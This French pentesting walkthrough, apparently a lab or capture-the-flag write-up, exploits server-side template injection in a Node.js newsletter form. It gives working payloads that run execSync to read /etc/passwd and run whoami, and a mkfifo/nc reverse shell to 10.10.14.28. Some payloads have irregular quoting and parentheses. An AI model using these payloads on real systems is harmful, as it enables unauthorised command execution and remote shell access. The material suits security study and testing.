> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).

# SSTI Node.js

## SSTI (Node.js)

Nous remarquons une fonctionnalité permettant aux utilisateurs de saisir un e-mail pour s’abonner à une newsletter. La réponse du serveur affiche directement notre saisie, ce qui suggère une possible **Injection de modèle côté serveur (SSTI)**.

<figure><img src="/files/68d3c897cf7d4abde2eb81c49532aecfa9c3d120" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b61f3d6c69f5efb8a426cb1ce03c9e84150ee5e5" alt=""><figcaption></figcaption></figure>

#### Test de vulnérabilité

Nous interceptons la requête avec **Burp Suite** et testons une SSTI classique :

<figure><img src="/files/b56b5eed22628636c9e1a8d249ac09afa9c093ea" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}

```

Si la réponse affiche `81`, alors l'application est vulnérable, c'est le cas ici.

<figure><img src="/files/8c9a90dbf2f1cacd16edbaacb56696fc7d4492c8" alt=""><figcaption></figcaption></figure>

### Lecture `/etc/passwd`

Nous utilisons la charge utile ci-dessous pour afficher le contenu de `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}

```

{% endcode %}

<figure><img src="/files/eebfb49f7d05591ef9a18f35c6fe802cb35ba584" alt=""><figcaption></figcaption></figure>

#### Récupération de l'utilisateur actuel

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}

```

{% endcode %}

Nous obtenons `david`.

<figure><img src="/files/30e4847eb7403bd27161c51e373563b8fbb2f47f" alt=""><figcaption></figcaption></figure>

### Reverse shell via SSTI (Node.js)

Démarrage de l'écouteur sur le port **4444**:

```bash
nc -nlvp 4444

```

Envoi de la charge utile de reverse shell :

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}

```

{% endcode %}

Accès à la machine cible

<figure><img src="/files/625c6813c808cf005a1684f50902b69253499314" alt=""><figcaption></figcaption></figure>


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